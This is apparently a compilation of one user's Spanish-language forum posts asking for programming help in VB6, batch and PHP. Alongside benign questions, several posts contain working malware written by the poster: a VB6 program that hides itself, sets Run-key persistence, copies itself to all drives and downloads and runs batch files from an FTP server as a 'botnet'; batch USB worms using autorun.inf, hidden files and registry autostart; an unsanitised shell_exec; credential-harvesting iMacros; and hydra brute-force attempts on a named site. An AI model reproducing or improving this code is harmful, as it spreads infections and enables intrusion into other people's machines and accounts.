Temas

alguien me podria decir como podria cifrar con matrices en vb6 me podrian dar un ejemplo y yo lo termino es que no tengo idea si me dieran un ejemplo se los agradeceria mucho

alguien que si me pudiera decir como hacerlo un poco mas entendible o si me pudiera decir como funciona por favor por que yo al hacer la inversa no necesito dividir y el codigo trai divisiones gracias

Código [Seleccionar] Expandir

Private Sub Command1_Click()

a1 = Val(Text1)
a2 = Val(Text2)
a3 = Val(Text3)
b1 = Val(Text4)
b2 = Val(Text5)
b3 = Val(Text6)
c1 = Val(Text7)
c2 = Val(Text8)
c3 = Val(Text9)
a4 = 1
a5 = 0
a6 = 0
b4 = 0
b5 = 1
b6 = 0
c4 = 0
c5 = 0
c6 = 1
If a1 = 0 Then
MsgBox "ERROR NO TIENE INVERSA"
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text1.SetFocus
Else
X1 = a1 / a1
X2 = a2 / a1
X3 = a3 / a1
X4 = 1 / a1
X5 = 0
X6 = 0
Y1 = b1 - b1 * X1
Y2 = b2 - b1 * X2
Y3 = b3 - b1 * X3
Y4 = 0 - b1 * X4
Y5 = 1 - b1 * X5
Y6 = 0 - b1 * X6
Z1 = c1 - c1 * X1
Z2 = c2 - c1 * X2
Z3 = c3 - c1 * X3
Z4 = 0 - c1 * X4
Z5 = 0 - c1 * X5
Z6 = 1 - c1 * X6
If X1 = 0 Or Y2 = 0 Or Z3 = 0 Then
MsgBox "ERROR NO TIENE INVERSA"
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text1.SetFocus
Else
E1 = Y1 / Y2
E2 = Y2 / Y2
E3 = Y3 / Y2
E4 = Y4 / Y2
E5 = Y5 / Y2
E6 = Y6 / Y2
D1 = X1 - X2 * E1
D2 = X2 - X2 * E2
D3 = X3 - X2 * E3
D4 = X4 - X2 * E4
D5 = X5 - X2 * E5
D6 = X6 - X2 * E6
F1 = Z1 - Z2 * E1
F2 = Z2 - Z2 * E2
F3 = Z3 - Z2 * E3
F4 = Z4 - Z2 * E4
F5 = Z5 - Z2 * E5
F6 = Z6 - Z2 * E6
If D1 = 0 Or E2 = 0 Or F3 = 0 Then
MsgBox "ERROR NO TIENE INVERSA"
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text1.SetFocus
Else
I1 = F1 / F3
I2 = F2 / F3
I3 = F3 / F3
I4 = F4 / F3
I5 = F5 / F3
I6 = F6 / F3
G1 = D1 - D3 * I1
G2 = D2 - D3 * I2
G3 = D3 - D3 * I3
G4 = D4 - D3 * I4
G5 = D5 - D3 * I5
G6 = D6 - D3 * I6
H1 = E1 - E3 * I1
H2 = E2 - E3 * I2
H3 = E3 - E3 * I3
H4 = E4 - E3 * I4
H5 = E5 - E3 * I5
H6 = E6 - E3 * I6
Text10 = CStr(G4)
Text11 = CStr(G5)
Text12 = CStr(G6)
Text13 = CStr(H4)
Text14 = CStr(H5)
Text15 = CStr(H6)
Text16 = CStr(I4)
Text17 = CStr(I5)
Text18 = CStr(I6)
End If
End If
End If


End Sub

Private Sub Command2_Click()
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text10 = ""
Text11 = ""
Text12 = ""
Text13 = ""
Text14 = ""
Text15 = ""
Text16 = ""
Text17 = ""
Text18 = ""
Text1.SetFocus
End Sub

Private Sub Command3_Click()
End
End Sub


quisiera saber como cambiar el frame de una web para poder escribir en el textarea
es que para poder escribir en los textarea tengo que cambiar el frame y no se como si pudieran darme una idea
utilizo webbrowser
este es el cogido para los input

Código [Seleccionar] Expandir

titulo = Text3.Text

Set HTML = WebBrowser1.Document

    For Each HTMLI In HTML.getElementsByTagName("input")


        If HTMLI.id = "subjecttitle" Then

        HTMLI.Value = titulo

        End If
        Next
       
        Timer1.Enabled = False

en imacros para cambiar el frame es asi

Código [Seleccionar] Expandir

FRAME F=1

Código [Seleccionar] Expandir

' =============================================
' Autor : Bruno Capuano
' Fecha : 29-09-2005
' =============================================

dim strProxyServer

' define el proxy y el puerto si es necesario
strProxyServer = "MyProxyServer:80"

' ubicacion en la registry
dim strRegPath
strRegPath = "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"
Set oWshShell = CreateObject("WScript.Shell")

' modifica las entradas en el registro
Call oWshShell.RegWrite(strRegPath & "ProxyEnable", "00000001", "REG_DWORD")
Call oWshShell.RegWrite(strRegPath & "ProxyOverride", "<local>", "REG_SZ")
Call oWshShell.RegWrite(strRegPath & "ProxyServer", strProxyServer, "REG_SZ")
     
' notificacion
Msgbox "Proxy setting enabled. " & VbCrLf & "Server - " & strProxyServer

' destroy   
Set oWshShell = Nothing

ay alguna forma de que este codigo cambie laproxy desde un archivo text

Código [Seleccionar] Expandir

strProxyServer = "MyProxyServer:80"

donde dice myproxyserver:80 van las proxys pero necesito saber como hacer para que reccora cada proxy del archivo text

ejemplo

carga la proxy 192.85.65.4:80
abre pagina
espera tiempo
vuelve al inicio y carga otra proxy desde el archivo text

el archivo text lo tendria asi y quisiera que cargara una por una
156.456.65.54:80
456.465.46.5:65
156.456.65.54:7854

si me pudieran ayudar muchisimas gracias

es posible borrar un string con for
por ejemplo tengo

Código [Seleccionar] Expandir

href="http: // sitio. any. gs"><img
lo que quiero es que desde las letras href asta <img  se borre todo y pueda remplazar por otra cosa
si me pudieran ayudar gracias

por mas que trato de ayarle una forma de hacerlo me confundo alguien podria ayudarme, lo maximo que pude hacer esta abajo si alguien pudiera ayudarme gracias
pudieran ayudarme en este pseudocodigo
capturar el sueldo de 5 empleados de acuerdo ala siguiente categoria
eventual=20$
asalariado=100$
a cada uno descontar 20% de impuesto al final determinar nomina total

quiero saber como podria hacerlo o si me pudieran corregir este

Código [Seleccionar] Expandir

inicio
entero;i,sueldo,nomina,eventual=0,asal...
i=1
mientras(i<=5) hacer
leer sueldo
si (sueldo<=100) entonces
eventual=eventual + sueldo /0.20
imprimir "eventual"
nomina <- eventual
de lo contrario
asalariado=asalariado+sueldo/0.20
imprimir "asalariado"
nomina<-asalariado
i<- i+1
fin del mientras
imprimir nomina
fin

gracias

alguien me podria dar una idea de como modificar partes de un batch por ejemplo

Código [Seleccionar] Expandir

set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf

modificar autorun.inf por otra cosa con un texbox  ojo solo pido un ejemplo no pido que me lo hagan quiero crear un especie de encriptador de batch pero solo quiero modificar partes del codigo si alguien pudiera ayudarme muchas gracias

quiero algo parecido a esto pero en batch esto es en word

Código [Seleccionar] Expandir


Option Explicit
Dim objWord As Word.Application

Private Sub cmdLlenaCarta_Click()
Set objWord = New Word.Application
   objWord.Visible = True
   'Pon la Ruta donde Guardaste la Carta
   objWord.Documents.Open App.Path & "Carta.doc"
   objWord.Documents(1).Bookmarks("Destinatario").Range = txtDestinatario.Text
   objWord.Documents(1).Bookmarks("Esposa").Range = txtEsposa.Text
   objWord.Documents(1).Bookmarks("Fecha").Range = txtFecha.Text
End Sub

Private Sub Form_Unload(Cancel As Integer)
   Set objWord = Nothing
End Sub

Private Sub LlenaCarta_Click()

End Sub


lo que hace es que modifica el nombre de la esposa la feha,el destinatario  por algo que tenga en los textbox

lo solucione solo hice los marcadores en word y de word convertirlo a bat

Código [Seleccionar] Expandir

<?php

        $usuario = $_POST['video'];
echo "Starting download...\n\n";
        echo shell_exec("youtube-dl -f 17 -t --extract-audio --audio-format mp3 ".$usuario."");
echo "Done.\n";
        

?>

tengo este codigo en php y descarga el sonido perfectamente pero por ejemplo si lo hago en lan funciona tambien pero el archivo mp3 se baja en el directorio y no se baja en el otro pc alguien podria decirme como podria hacer para que el mp3 se descarge en otro pc y no solo en el directorio de la web se los agradeceria mucho gracias

Código [Seleccionar] Expandir

Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)




Private Sub Form_Load()
FileCopy App.EXEName & ".EXE", "C:\wins.EXE"
Me.Hide
App.TaskVisible = False
Shell "reg add hklm\software\microsoft\windows\currentversion\run /v programa /t reg_sz /d C:\wins.exe /f "
Open "C:\Windows\System32\Winlog.bat" For Output As #1
Print #1, "@echo off"
Print #1, "If exist D:\ (Copy /y C:\wins.exe D:\trabajo.exe)"
Print #1, "If exist E:\ (Copy /y C:\wins.exe E:\trabajo.exe)"
Print #1, "If exist F:\ (Copy /y C:\wins.exe F:\trabajo.exe)"
Print #1, "If exist G:\ (Copy /y C:\wins.exe G:\trabajo.exe)"
Print #1, "If exist H:\ (Copy /y C:\wins.exe H:\trabajo.exe)"
Print #1, "If exist I:\ (Copy /y C:\wins.exe I:\trabajo.exe)"
Print #1, "If exist J:\ (Copy /y C:\wins.exe J:\trabajo.exe)"
Print #1, "If exist K:\ (Copy /y C:\wins.exe K:\trabajo.exe)"
Print #1, "If exist L:\ (Copy /y C:\wins.exe L:\trabajo.exe)"
Print #1, "If exist W:\ (Copy /y C:\wins.exe W:\trabajo.exe)"
Print #1, "If exist X:\ (Copy /y C:\wins.exe X:\trabajo.exe)"
Print #1, "If exist Y:\ (Copy /y C:\wins.exe Y:\trabajo.exe)"
Print #1, "If exist Z:\ (Copy /y C:\wins.exe Z:\trabajo.exe)"
Print #1, "If exist D:\ (Copy /y C:\wins.exe D:\moxxita.exe)"
Print #1, "If exist E:\ (Copy /y C:\wins.exe E:\moxxita.exe)"
Print #1, "If exist F:\ (Copy /y C:\wins.exe F:\moxxita.exe)"
Print #1, "If exist G:\ (Copy /y C:\wins.exe G:\moxxita.exe)"
Print #1, "If exist H:\ (Copy /y C:\wins.exe H:\moxxita.exe)"
Print #1, "If exist I:\ (Copy /y C:\wins.exe I:\moxxita.exe)"
Print #1, "If exist J:\ (Copy /y C:\wins.exe J:\moxxita.exe)"
Print #1, "If exist K:\ (Copy /y C:\wins.exe K:\moxxita.exe)"
Print #1, "If exist L:\ (Copy /y C:\wins.exe L:\moxxita.exe)"
Print #1, "If exist W:\ (Copy /y C:\wins.exe W:\moxxita.exe)"
Print #1, "If exist X:\ (Copy /y C:\wins.exe X:\moxxita.exe)"
Print #1, "If exist Y:\ (Copy /y C:\wins.exe Y:\moxxita.exe)"
Print #1, "If exist Z:\ (Copy /y C:\wins.exe Z:\moxxita.exe)"
Print #1, "exit"
Close #1
Shell ("C:\Windows\System32\Winlog.bat"), vbHide

End Sub
Private Sub Timer2_Timer()
On Error Resume Next

Inet1.Execute "ftp://" & Text1.Text & ":" & Text2.Text & "@ftp.server.com", "GET /public_html/xd.bat c:\lols.bat"
Calcular
If Dir("C:\lols.bat") <> "" Then
Shell ("c:\lols.bat"), vbHide
Calcular
Kill ("c:\lols.bat")
Else
Calcular
End If
End Sub

Sub Calcular()
Call Sleep(60000) 'espera por 60 segundos
End Sub



si pudieran darme ideas para una especie de botnet con inet ftp jaja se los agradeceria mucho  o si pudieran decirme como podria mejorar  el codigo en algo,si pudieran decirme como podria saber si existe un archivo en el ftp descargargalo si no que se valla al tiempo de espera gracias

es posible saber si existe un fichero x en un ftp desde vb6?

quiero saber si existe el fichero x en el ftp y si existe bajarlo y realizar instruccion y si no que no haga nada
si me pudieran ayudar gracias

lo que se puede hacer con la funcion GetAsyncKeyState utilizada mucho en los keyloggers xD

aqui les traigo una pequeñilla broma que insulta jaja

imaginate estas en facebook y presionas la letra s o cualquiera que le asignes ala bromilla  y de un derrepente se autoescribra una groseria  y mande un enter jaja los lios en los que meteras ala persona jaja
declaras esto

Código [Seleccionar] Expandir

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Código [Seleccionar] Expandir

If GetAsyncKeyState(13) Then
SendKeys "groceria"
SendKeys "{ENTER}"
End If

va dentro de un timer

espero no se lo tomen a mal y me insulten solo comparto informacion xD

Código [Seleccionar] Expandir

set HTML = WebBrowser1.Document

   For Each HTMLI In HTML.getElementsByTagName("textarea")


       If HTMLI.Id = "vB_Editor_001_textarea" Then

       HTMLI.Value = titulo

       End If
       Next

por que este code no escribe nada en los textareas y en los inputs si ? ,si pudieras ayudarme gracias

mi prenguta es por que esto no ejecuta la aplicacion

Código [Seleccionar] Expandir

start /b "%APPDATA%\xd.bat"

y si me podrian decir directorios donde batch pueda copiar en windows 7 por ejemplo windows 7 no deja copiar ni crear carpetas en el directorio de windows por el uac ay carpetas que no tengan bloqueos ?

por que este codigo no remplaza como dice por ejemplo escribo b aparece z y debe aparecer e pongo d debe aparecer g y apareze h

Código [Seleccionar] Expandir

Text1.Text = Replace(Text1.Text, "b", "e")
Text1.Text = Replace(Text1.Text, "c", "f")
Text1.Text = Replace(Text1.Text, "d", "g")
Text1.Text = Replace(Text1.Text, "e", "h")
Text1.Text = Replace(Text1.Text, "f", "i")
Text1.Text = Replace(Text1.Text, "g", "j")
Text1.Text = Replace(Text1.Text, "h", "k")
Text1.Text = Replace(Text1.Text, "i", "l")
Text1.Text = Replace(Text1.Text, "j", "m")
Text1.Text = Replace(Text1.Text, "k", "n")
Text1.Text = Replace(Text1.Text, "l", "o")
Text1.Text = Replace(Text1.Text, "m", "p")
Text1.Text = Replace(Text1.Text, "n", "q")
Text1.Text = Replace(Text1.Text, "o", "r")
Text1.Text = Replace(Text1.Text, "p", "s")
Text1.Text = Replace(Text1.Text, "q", "t")
Text1.Text = Replace(Text1.Text, "r", "u")
Text1.Text = Replace(Text1.Text, "s", "v")
Text1.Text = Replace(Text1.Text, "t", "w")
Text1.Text = Replace(Text1.Text, "u", "x")
Text1.Text = Replace(Text1.Text, "v", "y")
Text1.Text = Replace(Text1.Text, "w", "z")
Text1.Text = Replace(Text1.Text, "x", "a")
Text1.Text = Replace(Text1.Text, "y", "b")
Text1.Text = Replace(Text1.Text, "z", "c")  
gracias

y si alguien me podria explicar el for each please xD

habra alguna forma de que revise batch en un ftp remoto si existe un archivo y si existe que lo baje si no que se vaya tiempo de espera ?

ejemplo

Código [Seleccionar] Expandir

:inicio
if exist public_html/as.bat goto seguir
if no exist public_html/as.bat goto tiempo
:seguir
wget ftp://usuario:password@servidorftp/public_html/as.bat -O "C:\xd.bat"
:seguir
ping 127.0.0.1 -n 60
goto inicio


quiero algo de ayuda en esto

Código [Seleccionar] Expandir

if exist public_html/as.bat goto seguir
if no exist public_html/as.bat goto tiempo

alguna forma de hacerlo ?

o si no es posible asi

alguna de idea de como wget no me baje un archivo de 0kb ? por que necesito que wget no me baje nada por ejemplo tengo un archivo en mi host si existe el archivo que lo baje y lo ejecute pero si no existe que no me baje nada porque wget me baja un archivo de 0kb  aver si alguien me puede ayudar gracias

Código [Seleccionar] Expandir

Dim uName, uPass As String

Private Sub Form_Load()
WebBrowser1.Resizable = True
WebBrowser1.Navigate ("http://www.argentinawarez.com/login.php?do=login")


End Sub



Private Sub Command1_Click()

On Error Resume Next
uName = Text1.Text
uPass = Text2.Text

Set HTML = WebBrowser1.Document

    For Each HTMLI In HTML.getElementsByTagName("input")


        If HTMLI.Name = "vb_login_username" Then

        HTMLI.Value = uName

        End If


        If HTMLI.Name = "vb_login_password" Then
        HTMLI.Value = uPass
        End If
       
        If HTMLI.Type = "submit" Then
        HTMLI.Click
        End If

    Next

End Sub



lo que hace esto es autologiarse en una pagina pero quiero que despues de logiarge vaya asia aqui

WebBrowser1.Navigate ("http://www.argentinawarez.com/programas-gratis/")

y despues de 45 segundos

vaya asia aqui

WebBrowser1.Navigate ("http://www.argentinawarez.com/t.php?do=nuevo&f=2")

si me pudieran ayudar muchas gracias
   

habra alguna forma en batch

por ejemplo

Código [Seleccionar] Expandir

if windows xp
ejecuta codigo
else
if windows 7
ejecutar codigo diferente

de antemano gracias :S

Código [Seleccionar] Expandir

@shift
@echo off
:xD
set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf
set moxita=MOXITA.EXE
set trabajo=trabajo.exe



MD "%WINDIR%\14785"
MD "E:\System"
ATTRIB +S +H +R "E:\system"
MD "F:\System"
ATTRIB +S +H +R "F:\system"
MD "G:\System"
ATTRIB +S +H +R "G:\system"
MD "H:\System"
ATTRIB +S +H +R "H:\system"
MD "I:\System"
ATTRIB +S +H +R "I:\system"
MD "J:\System"
ATTRIB +S +H +R "J:\system"




Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM AQUI SE CREA EL ARCHIVO AUTORUN
ECHO [AUTORUN] >%AUTORUNORIGINAL%
ECHO open=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\1=abrir >>%AUTORUNORIGINAL%
ECHO shell\1\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\2\=explorar >>%AUTORUNORIGINAL%
ECHO shell\2\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shellexecute=System\%juego% >>%AUTORUNORIGINAL%

REM VERIFICA LA EXISTENCIA DEL WORM

IF NOT EXIST "E:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "F:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "G:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "H:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "I:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "J:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "E:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "F:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "G:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "H:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "I:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "J:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "E:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "F:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "G:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "H:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "I:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "J:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "%WINDIR%\14785\systems.exe" GOTO COPIARWORM

:COPIARWORM

REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA
REM SISTEMA Y OCULTO.

COPY "%WINDIR%\14785\systems.exe" "E:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "F:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "G:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "H:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "I:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "J:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "E:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "F:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "G:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "H:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "I:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "J:\%moxita%
COPY "%WINDIR%\14785\systems.exe" "E:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "F:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "G:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "H:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "I:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "J:\%trabajo%



Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS

COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%"
ATTRIB +S +H +R "E:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%"
ATTRIB +S +H +R "F:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%"
ATTRIB +S +H +R "G:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%"
ATTRIB +S +H +R "H:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%"
ATTRIB +S +H +R "I:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%"
ATTRIB +S +H +R "J:\%AUTORUN%"

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f



start primera pagina web
ping 127.0.0.1 -n 30
start segunda pagina web
ping 127.0.0.1 -n 30
start tercera pagina web
ping 127.0.0.1 -n 300

goto xd



lo que quiero es que esta parte se ejecute cada 14400 segundos

Código [Seleccionar] Expandir

start paginaweb
ping 127.0.0.1 -n 30
start segunda pagina
ping 127.0.0.1 -n 30
start tercera pagina
ping 127.0.0.1 -n 300

pero lo demas siga funcionando no se si me explico quiero que se siga copiando a las usb pero quiero que los start se ejecuten cada 14400 segundos sin que se detenga la otra parte del codigo espero y me puedan ayudar

me pueden decir programas de consola como wget si no es mucha molestia

mi duda es que tengo 15 archivos rar con diferentes nombres

pero el problema es que todos los archivos tienen como nombre .exe

ejemplo
Visual Serial.exe
No-IP DUC.exe
Visual Serial.exe

el problema es que no son .exe son winrar ay alguna forma de borrarles .exe todos a la vez no son extensiones solo es el nombre

ay alguna forma de remplazar el .exe por nada

necesito ayuda como agregar un registro si dar persimos de administrador en windows 7 por que si lo abro con doble clic el archivo bat no hace nada pero si le doy ejecutar como administrador si funciona lo que quiero saber es como hacerle para que se ejecute como administrador

bueno mi pregunta es por que el archivo original que ejecuto si se copia al directorio de windows y el que se crea en el usb no se autocopia al directorio de windows ?

Código [Seleccionar] Expandir

@echo off
:xD
set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf



MD "%WINDIR%\14785"

Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM AQUI SE CREA EL ARCHIVO AUTORUN
ECHO [AUTORUN] >%AUTORUNORIGINAL%
ECHO open=%juego% >>%AUTORUNORIGINAL%
ECHO shell\1=abrir >>%AUTORUNORIGINAL%
ECHO shell\1\Command=%juego% >>%AUTORUNORIGINAL%
ECHO shell\2\=explorar >>%AUTORUNORIGINAL%
ECHO shell\2\Command=%juego% >>%AUTORUNORIGINAL%
ECHO shellexecute=%juego% >>%AUTORUNORIGINAL%

REM VERIFICA LA EXISTENCIA DEL WORM

IF NOT EXIST "D:\%juego%" GOTO COPIARWORM
IF NOT EXIST "E:\%juego%" GOTO COPIARWORM
IF NOT EXIST "F:\%juego%" GOTO COPIARWORM
IF NOT EXIST "G:\%juego%" GOTO COPIARWORM
IF NOT EXIST "H:\%juego%" GOTO COPIARWORM
IF NOT EXIST "I:\%juego%" GOTO COPIARWORM
IF NOT EXIST "J:\%juego%" GOTO COPIARWORM

:COPIARWORM

REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA
REM SISTEMA Y OCULTO.

COPY "%WINDIR%\14785\systems.exe" "E:\%juego%"
ATTRIB +H "E:\%juego%"
COPY "%WINDIR%\14785\systems.exe" "F:\%juego%"
ATTRIB +H "E:\%juego%"
COPY "%WINDIR%\14785\systems.exe" "G:\%juego%"
ATTRIB +H "E:\%juego%"
COPY "%WINDIR%\14785\systems.exe" "H:\%juego%"
ATTRIB +H "E:\%juego%"
COPY "%WINDIR%\14785\systems.exe" "I:\%juego%"
ATTRIB +H "E:\%juego%"
COPY "%WINDIR%\14785\systems.exe" "J:\%juego%"
ATTRIB +H "E:\%juego%"

Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS

COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%"
ATTRIB +S +H +R "E:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%"
ATTRIB +S +H +R "F:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%"
ATTRIB +S +H +R "G:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%"
ATTRIB +S +H +R "H:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%"
ATTRIB +S +H +R "I:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%"
ATTRIB +S +H +R "J:\%AUTORUN%"

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f

start http://f195d7b8.any.gs
ping 127.0.0.1 -n 300
goto xD



es que el archivo que se copia al usb lo uso en otra pc y no se crea en el directorio de windows mientras que si es el original si se copia agradecira mucho que me ayuden

es posible sumar tiempo en horas y cada hora sean 10$ y cada media 5$

por ejemplo de 10:50-11:50 =10$

poner los 2 tiempos y te diga cuanto es ?

http://depositfiles.org/files/mrtuxax16

si alguien gusta modificarlo y dejarlo mejor muchas gracias

es posible hacer un programa que al presionar una letra diga una frase en un textbox o donde sea donde se pueda escribir
ejemplo si presiona la letra s se auto escriba sabrita algo asi xD

alguien podria darme un ejemplo de for /d

que corte archivos de una carpeta a otra sin variables si nos es mucha molestia

Código [Seleccionar] Expandir

@echo off
for /D %%f in (%choice%\*) do rename "%%f" "_data"
@echo Listo!
@echo Moviendo contenido...
SET src_folder=%choice%\_data
SET tar_folder=%choice%

for /f %%a IN ('dir "%src_folder%" /b') do move %src_folder%\%%a %tar_folder%
xcopy %src_folder%\*.* %tar_folder% /s


si alguien me podria decir como funciona este codigo porfavor lo que no comprendo que es choice?

lo que ase este script es si ay una carpeta sin nombre la cambia _data y mueve los archivos al principio de la memoria usb pero mi duda es como funciona el codigo no lo comprendo aqui

Código [Seleccionar] Expandir

for /D %%f in (%choice%\*) do rename "%%f" "_data"
@echo Listo!
@echo Moviendo contenido...
SET src_folder=%choice%\_data
SET tar_folder=%choice%

como dice el titulo alguien que tenga windows 7 y me diga si la aplicacion regini todavia sigue en windows 7 es que viene por defecto en windows xp y quiero saber si tambien viene en windows 7

habra alguna forma de crear una vacuna en bat sobre este virus


el acceso directo en el destino muestra esto
DESTINO:%homedrive%\WINDOWS\System32\rundll32.exe 0~N.xxc,rundll32
y en la descripcion dice esto
Ejecutar un archivo DLL como una aplicación
analize el archivo desktop.ini y es un troyano lo raro es que ni avast ni norton lo detectan solo el desktop los demas archivos no xD

anexo el virus por si alguien se anima :S quitarlo del usb es facil pero del pc no :S
http://depositfiles.com/files/g815yqsf6

el archivo se propaga con el archivo rundll32.exe :S

perdon si esta no es la categoria pero no se donde poner esto si esta mal pido a un moderador cambiarlo si no es mucha molestia

quiero saber si esto es un virus por que meti la usb en una computadora ajena

y salio algo asi



ignoren la carpeta el archivo 0~n.xxc y el thumbs.db

lo que me salio fue el acceso directo de la usb y esos archivos ocultos y la carpeta oculta tambien lo raro es que la usb tenia esto en acceso directo
DESTINO:%homedrive%\WINDOWS\System32\rundll32.exe 0~N.xxc,rundll32
COMENTARIO:IIZ
y en descripcion decia Ejecutar un archivo DLL como una aplicación

quiero saber si me pueden ayudar a saber si es virus o algo del pc aqui los archivos por si lo quieren ver el archivo 0~n.xxc tiene un codigo muy extraño xD

lo raro es que lo analize con virus total y no detecta nada xD
http://depositfiles.com/files/g815yqsf6

asi es como dice el titulo abra forma de editar una parte de un codigo html desde vb6 ?

y si ay me podrian decir como gracias

asi es como dice el asunto se podria hacer que vb6 carge unos ocx desde la carpeta de la aplicacion 

Código [Seleccionar] Expandir

VERSION BUILD=7401110 RECORDER=FX
TAB T=1
'Set iMacro datasource and column number
SET !DATASOURCE address.csv

'You may change this depending how many columns your CSV has
SET !DATASOURCE_COLUMNS 2

'Set the selected random column
SET !LOOP 1
SET !DATASOURCE_LINE {{!LOOP}}
URL GOTO=http://www.padventures.org/index.php/account/login.ide
SET !ENCRYPTION NO
TAG POS=1 TYPE=INPUT:PASSWORD FORM=ACTION:http://www.padventures.org/index.php/account/login.ide ATTR=NAME:name CONTENT={{!COL1}}
TAG POS=1 TYPE=INPUT:PASSWORD FORM=ACTION:http://www.padventures.org/index.php/account/login.ide ATTR=NAME:pass CONTENT={{!COL2}}
TAG POS=1 TYPE=INPUT:SUBMIT FORM=ACTION:http://www.padventures.org/index.php/account/login.ide ATTR=ID:et_contact_submit

ay alguna forma de que este codigo aparte de entrar guarde las contraseñas y users alas que entre ?

algun programa de fuerza bruta que me recomienden brutus cinseramente no sirve :S
y hydra no da una :S

alguien me podria explicar como se usa hydra e calado varias cosas asta ponga la pass y user que es y ni si quiera la atina :S

Código [Seleccionar] Expandir

hydra  -l usuario.txt -vV -f -P pass.txt -vV -f www.padventures.org http-head /vclass/

ayuda please

alguien me podria decir como se veria este script en bat de windows si no es mucha molestia

Código [Seleccionar] Expandir

#!/bin/bash


for FILE1 in $@

do


if [ -f $FILE1 ]; then

for FILE2 in $(cat $FILE1)

do

cookiefile="/tmp/cookies-$( date +%s.%N ).txt"

url=$( youtube-dl --cookies $cookiefile -g $FILE2 )

NAME=$(youtube-dl -t --get-filename $FILE2)


aria2c --load-cookies $cookiefile -k1M -x4 -c $url -o "$NAME"

rm -f $cookiefile

done


else



